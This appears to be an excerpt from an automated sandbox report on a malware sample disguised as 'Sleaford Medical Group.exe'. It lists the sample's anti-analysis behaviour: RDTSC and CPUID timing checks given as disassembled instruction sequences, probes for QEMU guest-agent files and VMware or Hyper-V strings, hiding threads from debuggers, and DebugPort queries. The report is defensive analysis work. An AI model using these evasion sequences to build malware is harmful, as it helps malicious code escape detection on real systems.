Malware Analysis System Evasion:

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Show sources

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_00563AC4 InternetOpenA,InternetOpenUrlA,	22_2_00563AC4
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_00562CA9	22_2_00562CA9
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_00562D5A	22_2_00562D5A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_00562D02	22_2_00562D02
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_005629FB	22_2_005629FB
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_00562993	22_2_00562993
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_00562A7B	22_2_00562A7B
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_0056661B	22_2_0056661B
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_00562AD1	22_2_00562AD1
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_00563AC7 InternetOpenA,InternetOpenUrlA,	22_2_00563AC7
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_00562AE5	22_2_00562AE5
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_00562AB2	22_2_00562AB2
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_00562B67	22_2_00562B67
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_00563B11 InternetOpenUrlA,	22_2_00563B11
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_00562B1D	22_2_00562B1D
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_00562BE4	22_2_00562BE4

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Show sources

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 000000000042616B second address: 00000000004253F5 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 00000001h 0x00000007 cpuid 0x00000009 popad 0x0000000a mov eax, 00000539h 0x0000000f push esi 0x00000010 mov esi, A893C8D1h 0x00000015 cmp esi, A893C8D1h 0x0000001b jne 00007F08D0B0C1FBh 0x00000021 pop esi 0x00000022 mov ecx, dword ptr [ebp+1Ch] 0x00000025 mov edx, 8802EDACh 0x0000002a call 00007F08D0B10EABh 0x0000002f jmp 00007F08D0B11CCAh 0x00000031 nop 0x00000032 push esi 0x00000033 push edx 0x00000034 jmp 00007F08D0B11CCAh 0x00000036 test ch, ch 0x00000038 push ecx 0x00000039 cmp eax, 00000539h 0x0000003e jne 00007F08D0B11E08h 0x00000044 jmp 00007F08D0B11CCAh 0x00000046 pushad 0x00000047 mov edx, 000000C2h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 0000000000425EF7 second address: 0000000000425EF7 instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007F08D0937E38h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d jmp 00007F08D0937E4Ah 0x0000001f nop 0x00000020 cmp al, al 0x00000022 add edi, edx 0x00000024 dec dword ptr [ebp+000000F8h] 0x0000002a cmp dword ptr [ebp+000000F8h], 00000000h 0x00000031 jne 00007F08D0937DFBh 0x00000033 cmp cl, cl 0x00000035 cmp ah, bh 0x00000037 call 00007F08D0937E8Fh 0x0000003c call 00007F08D0937E48h 0x00000041 lfence 0x00000044 mov edx, dword ptr [7FFE0014h] 0x0000004a lfence 0x0000004d ret 0x0000004e mov esi, edx 0x00000050 pushad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 0000000000424202 second address: 0000000000424202 instructions:
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 0000000000560F5E second address: 0000000000560F5E instructions:
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 0000000000565BB0 second address: 00000000005639A3 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 00000001h 0x00000007 cpuid 0x00000009 popad 0x0000000a retn 0010h 0x0000000d cmp edx, edx 0x0000000f push dword ptr [ebp+000000B4h] 0x00000015 pop dword ptr [ebp+00000134h] 0x0000001b jmp 00007F08D0B11CCAh 0x0000001d jmp 00007F08D0B11D00h 0x0000001f push dword ptr [ebp+68h] 0x00000022 push dword ptr [ebp+00000134h] 0x00000028 call 00007F08D0B142D5h 0x0000002d pushad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 00000000005639A3 second address: 00000000005639A3 instructions:
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 0000000000563C6D second address: 0000000000563CC2 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 00000001h 0x00000007 cpuid 0x00000009 popad 0x0000000a push esi 0x0000000b mov esi, CDC9E0AFh 0x00000010 cmp esi, CDC9E0AFh 0x00000016 jne 00007F08D0B0E6FEh 0x0000001c pop esi 0x0000001d mov eax, ebp 0x0000001f add eax, 000000F0h 0x00000024 jmp 00007F08D0B11CCAh 0x00000026 test cx, cx 0x00000029 mov ebx, dword ptr [ebp+000000E4h] 0x0000002f cmp edx, edx 0x00000031 mov ecx, dword ptr [ebp+000000F4h] 0x00000037 pushad 0x00000038 mov ecx, 000000EBh 0x0000003d rdtsc

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: Sleaford Medical Group.exe, oversad.exe, 0000001A.00000002.730357636.0000000000420000.00000040.00000001.sdmp

Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 0000000000401C79 second address: 0000000000401C79 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, 2Dh 0x00000005 cmp ebx, 06h 0x00000008 cmp edi, 02EAFF40h 0x0000000e movd mm1, ebx 0x00000011 movd mm1, ebx 0x00000014 paddusw xmm0, xmm3 0x00000018 fdivp st(6), st(0) 0x0000001a jmp 00007F08D0937E89h 0x0000001c movd mm1, ebx 0x0000001f movd mm1, ebx 0x00000022 jne 00007F08D0937D4Fh 0x00000028 inc edi 0x00000029 pslld mm5, 09h 0x0000002d fsubp st(1), st(0) 0x0000002f jmp 00007F08D0937E89h 0x00000031 cmp eax, 1Dh 0x00000034 cmp eax, 000000A3h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 000000000042616B second address: 00000000004253F5 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 00000001h 0x00000007 cpuid 0x00000009 popad 0x0000000a mov eax, 00000539h 0x0000000f push esi 0x00000010 mov esi, A893C8D1h 0x00000015 cmp esi, A893C8D1h 0x0000001b jne 00007F08D0B0C1FBh 0x00000021 pop esi 0x00000022 mov ecx, dword ptr [ebp+1Ch] 0x00000025 mov edx, 8802EDACh 0x0000002a call 00007F08D0B10EABh 0x0000002f jmp 00007F08D0B11CCAh 0x00000031 nop 0x00000032 push esi 0x00000033 push edx 0x00000034 jmp 00007F08D0B11CCAh 0x00000036 test ch, ch 0x00000038 push ecx 0x00000039 cmp eax, 00000539h 0x0000003e jne 00007F08D0B11E08h 0x00000044 jmp 00007F08D0B11CCAh 0x00000046 pushad 0x00000047 mov edx, 000000C2h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 0000000000425EF7 second address: 0000000000425EF7 instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007F08D0937E38h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d jmp 00007F08D0937E4Ah 0x0000001f nop 0x00000020 cmp al, al 0x00000022 add edi, edx 0x00000024 dec dword ptr [ebp+000000F8h] 0x0000002a cmp dword ptr [ebp+000000F8h], 00000000h 0x00000031 jne 00007F08D0937DFBh 0x00000033 cmp cl, cl 0x00000035 cmp ah, bh 0x00000037 call 00007F08D0937E8Fh 0x0000003c call 00007F08D0937E48h 0x00000041 lfence 0x00000044 mov edx, dword ptr [7FFE0014h] 0x0000004a lfence 0x0000004d ret 0x0000004e mov esi, edx 0x00000050 pushad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 0000000000425F57 second address: 0000000000425F57 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e xor eax, eax 0x00000010 inc eax 0x00000011 cpuid 0x00000013 bt ecx, 1Fh 0x00000017 jc 00007F08D0B1225Ch 0x0000001d popad 0x0000001e call 00007F08D0B11DEBh 0x00000023 lfence 0x00000026 rdtsc
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 00000000004205B7 second address: 00000000004253F5 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a popad 0x0000000b jmp 00007F08D093BC3Bh 0x00000010 call 00007F08D093402Ah 0x00000015 jmp 00007F08D0937E4Ah 0x00000017 cmp ebx, edx 0x00000019 pop ecx 0x0000001a mov dword ptr [ebp+18h], ecx 0x0000001d cmp dh, dh 0x0000001f mov eax, 00000539h 0x00000024 mov edx, 60AF076Dh 0x00000029 call 00007F08D093CBCDh 0x0000002e jmp 00007F08D0937E4Ah 0x00000030 nop 0x00000031 push esi 0x00000032 push edx 0x00000033 jmp 00007F08D0937E4Ah 0x00000035 test ch, ch 0x00000037 push ecx 0x00000038 cmp eax, 00000539h 0x0000003d jne 00007F08D0937F88h 0x00000043 jmp 00007F08D0937E4Ah 0x00000045 pushad 0x00000046 mov edx, 000000C2h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 0000000000424202 second address: 0000000000424202 instructions:
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 0000000000565F57 second address: 0000000000565F57 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e xor eax, eax 0x00000010 inc eax 0x00000011 cpuid 0x00000013 bt ecx, 1Fh 0x00000017 jc 00007F08D09383DCh 0x0000001d popad 0x0000001e call 00007F08D0937F6Bh 0x00000023 lfence 0x00000026 rdtsc
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 00000000005605B7 second address: 00000000005653F5 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a popad 0x0000000b jmp 00007F08D0B15ABBh 0x00000010 call 00007F08D0B0DEAAh 0x00000015 jmp 00007F08D0B11CCAh 0x00000017 cmp ebx, edx 0x00000019 pop ecx 0x0000001a mov dword ptr [ebp+18h], ecx 0x0000001d cmp dh, dh 0x0000001f mov eax, 00000539h 0x00000024 mov edx, 60AF076Dh 0x00000029 call 00007F08D0B16A4Dh 0x0000002e jmp 00007F08D0B11CCAh 0x00000030 nop 0x00000031 push esi 0x00000032 push edx 0x00000033 jmp 00007F08D0B11CCAh 0x00000035 test ch, ch 0x00000037 push ecx 0x00000038 cmp eax, 00000539h 0x0000003d jne 00007F08D0B11E08h 0x00000043 jmp 00007F08D0B11CCAh 0x00000045 pushad 0x00000046 mov edx, 000000C2h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 0000000000560F5E second address: 0000000000560F5E instructions:
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 0000000000565BB0 second address: 00000000005639A3 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 00000001h 0x00000007 cpuid 0x00000009 popad 0x0000000a retn 0010h 0x0000000d cmp edx, edx 0x0000000f push dword ptr [ebp+000000B4h] 0x00000015 pop dword ptr [ebp+00000134h] 0x0000001b jmp 00007F08D0B11CCAh 0x0000001d jmp 00007F08D0B11D00h 0x0000001f push dword ptr [ebp+68h] 0x00000022 push dword ptr [ebp+00000134h] 0x00000028 call 00007F08D0B142D5h 0x0000002d pushad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 00000000005639A3 second address: 00000000005639A3 instructions:
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 0000000000563C6D second address: 0000000000563CC2 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 00000001h 0x00000007 cpuid 0x00000009 popad 0x0000000a push esi 0x0000000b mov esi, CDC9E0AFh 0x00000010 cmp esi, CDC9E0AFh 0x00000016 jne 00007F08D0B0E6FEh 0x0000001c pop esi 0x0000001d mov eax, ebp 0x0000001f add eax, 000000F0h 0x00000024 jmp 00007F08D0B11CCAh 0x00000026 test cx, cx 0x00000029 mov ebx, dword ptr [ebp+000000E4h] 0x0000002f cmp edx, edx 0x00000031 mov ecx, dword ptr [ebp+000000F4h] 0x00000037 pushad 0x00000038 mov ecx, 000000EBh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 00000000004098E4 second address: 00000000004098EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	RDTSC instruction interceptor: First address: 0000000000409B5E second address: 0000000000409B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe	RDTSC instruction interceptor: First address: 0000000000401C79 second address: 0000000000401C79 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, 2Dh 0x00000005 cmp ebx, 06h 0x00000008 cmp edi, 02EAFF40h 0x0000000e movd mm1, ebx 0x00000011 movd mm1, ebx 0x00000014 paddusw xmm0, xmm3 0x00000018 fdivp st(6), st(0) 0x0000001a jmp 00007F08D0937E89h 0x0000001c movd mm1, ebx 0x0000001f movd mm1, ebx 0x00000022 jne 00007F08D0937D4Fh 0x00000028 inc edi 0x00000029 pslld mm5, 09h 0x0000002d fsubp st(1), st(0) 0x0000002f jmp 00007F08D0937E89h 0x00000031 cmp eax, 1Dh 0x00000034 cmp eax, 000000A3h 0x00000039 rdtsc
Source: C:\Windows\SysWOW64\help.exe	RDTSC instruction interceptor: First address: 0000000002EC98E4 second address: 0000000002EC98EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\help.exe	RDTSC instruction interceptor: First address: 0000000002EC9B5E second address: 0000000002EC9B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe

Code function: 0_2_00401C31 rdtsc

0_2_00401C31

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\explorer.exe TID: 7004	Thread sleep time: -46000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\help.exe TID: 6336	Thread sleep time: -40000s >= -30000s			Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: explorer.exe, 00000018.00000000.524058813.000000000871F000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000018.00000000.524058813.000000000871F000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000:
Source: explorer.exe, 00000018.00000000.523652219.0000000008220000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000018.00000000.523858105.0000000008640000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: Sleaford Medical Group.exe, 00000016.00000002.567348461.0000000000899000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000018.00000000.512900592.00000000055D0000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}V*(E
Source: explorer.exe, 00000018.00000000.524058813.000000000871F000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}~
Source: explorer.exe, 00000018.00000000.524058813.000000000871F000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000018.00000000.524127788.00000000087D1000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00ices
Source: explorer.exe, 00000018.00000000.512927052.0000000005603000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b},
Source: explorer.exe, 00000018.00000000.523652219.0000000008220000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: Sleaford Medical Group.exe, oversad.exe, 0000001A.00000002.730357636.0000000000420000.00000040.00000001.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: Sleaford Medical Group.exe, 00000016.00000002.566373992.0000000000870000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW`g
Source: explorer.exe, 00000018.00000000.523652219.0000000008220000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000018.00000000.524783667.00000000089C9000.00000004.00000001.sdmp	Binary or memory string: qeMusic
Source: explorer.exe, 00000018.00000000.523652219.0000000008220000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Thread information set: HideFromDebugger	Jump to behavior

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe

Code function: 0_2_00401C31 rdtsc

0_2_00401C31

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe

Code function: 22_2_1E3D967A LdrInitializeThunk,

22_2_1E3D967A

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E45AE44 mov eax, dword ptr fs:[00000030h]	22_2_1E45AE44
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E45AE44 mov eax, dword ptr fs:[00000030h]	22_2_1E45AE44
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E39E620 mov eax, dword ptr fs:[00000030h]	22_2_1E39E620
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3CA61C mov eax, dword ptr fs:[00000030h]	22_2_1E3CA61C
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3CA61C mov eax, dword ptr fs:[00000030h]	22_2_1E3CA61C
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E39C600 mov eax, dword ptr fs:[00000030h]	22_2_1E39C600
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E39C600 mov eax, dword ptr fs:[00000030h]	22_2_1E39C600
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E39C600 mov eax, dword ptr fs:[00000030h]	22_2_1E39C600
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C8E00 mov eax, dword ptr fs:[00000030h]	22_2_1E3C8E00
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3BAE73 mov eax, dword ptr fs:[00000030h]	22_2_1E3BAE73
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3BAE73 mov eax, dword ptr fs:[00000030h]	22_2_1E3BAE73
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3BAE73 mov eax, dword ptr fs:[00000030h]	22_2_1E3BAE73
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3BAE73 mov eax, dword ptr fs:[00000030h]	22_2_1E3BAE73
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3BAE73 mov eax, dword ptr fs:[00000030h]	22_2_1E3BAE73
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E451608 mov eax, dword ptr fs:[00000030h]	22_2_1E451608
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A766D mov eax, dword ptr fs:[00000030h]	22_2_1E3A766D
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E44FE3F mov eax, dword ptr fs:[00000030h]	22_2_1E44FE3F
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A7E41 mov eax, dword ptr fs:[00000030h]	22_2_1E3A7E41
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A7E41 mov eax, dword ptr fs:[00000030h]	22_2_1E3A7E41
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A7E41 mov eax, dword ptr fs:[00000030h]	22_2_1E3A7E41
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A7E41 mov eax, dword ptr fs:[00000030h]	22_2_1E3A7E41
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A7E41 mov eax, dword ptr fs:[00000030h]	22_2_1E3A7E41
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A7E41 mov eax, dword ptr fs:[00000030h]	22_2_1E3A7E41
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E44FEC0 mov eax, dword ptr fs:[00000030h]	22_2_1E44FEC0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E468ED6 mov eax, dword ptr fs:[00000030h]	22_2_1E468ED6
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E42FE87 mov eax, dword ptr fs:[00000030h]	22_2_1E42FE87
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A76E2 mov eax, dword ptr fs:[00000030h]	22_2_1E3A76E2
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C16E0 mov ecx, dword ptr fs:[00000030h]	22_2_1E3C16E0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E460EA5 mov eax, dword ptr fs:[00000030h]	22_2_1E460EA5
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E460EA5 mov eax, dword ptr fs:[00000030h]	22_2_1E460EA5
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E460EA5 mov eax, dword ptr fs:[00000030h]	22_2_1E460EA5
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4146A7 mov eax, dword ptr fs:[00000030h]	22_2_1E4146A7
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C36CC mov eax, dword ptr fs:[00000030h]	22_2_1E3C36CC
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D8EC7 mov eax, dword ptr fs:[00000030h]	22_2_1E3D8EC7
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3CE730 mov eax, dword ptr fs:[00000030h]	22_2_1E3CE730
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E394F2E mov eax, dword ptr fs:[00000030h]	22_2_1E394F2E
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E394F2E mov eax, dword ptr fs:[00000030h]	22_2_1E394F2E
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E468F6A mov eax, dword ptr fs:[00000030h]	22_2_1E468F6A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3BF716 mov eax, dword ptr fs:[00000030h]	22_2_1E3BF716
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3CA70E mov eax, dword ptr fs:[00000030h]	22_2_1E3CA70E
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3CA70E mov eax, dword ptr fs:[00000030h]	22_2_1E3CA70E
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E46070D mov eax, dword ptr fs:[00000030h]	22_2_1E46070D
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E46070D mov eax, dword ptr fs:[00000030h]	22_2_1E46070D
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E42FF10 mov eax, dword ptr fs:[00000030h]	22_2_1E42FF10
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E42FF10 mov eax, dword ptr fs:[00000030h]	22_2_1E42FF10
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3AFF60 mov eax, dword ptr fs:[00000030h]	22_2_1E3AFF60
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3AEF40 mov eax, dword ptr fs:[00000030h]	22_2_1E3AEF40
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A8794 mov eax, dword ptr fs:[00000030h]	22_2_1E3A8794
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D37F5 mov eax, dword ptr fs:[00000030h]	22_2_1E3D37F5
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E417794 mov eax, dword ptr fs:[00000030h]	22_2_1E417794
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E417794 mov eax, dword ptr fs:[00000030h]	22_2_1E417794
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E417794 mov eax, dword ptr fs:[00000030h]	22_2_1E417794
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3CBC2C mov eax, dword ptr fs:[00000030h]	22_2_1E3CBC2C
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E42C450 mov eax, dword ptr fs:[00000030h]	22_2_1E42C450
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E42C450 mov eax, dword ptr fs:[00000030h]	22_2_1E42C450
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E451C06 mov eax, dword ptr fs:[00000030h]	22_2_1E451C06
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E451C06 mov eax, dword ptr fs:[00000030h]	22_2_1E451C06
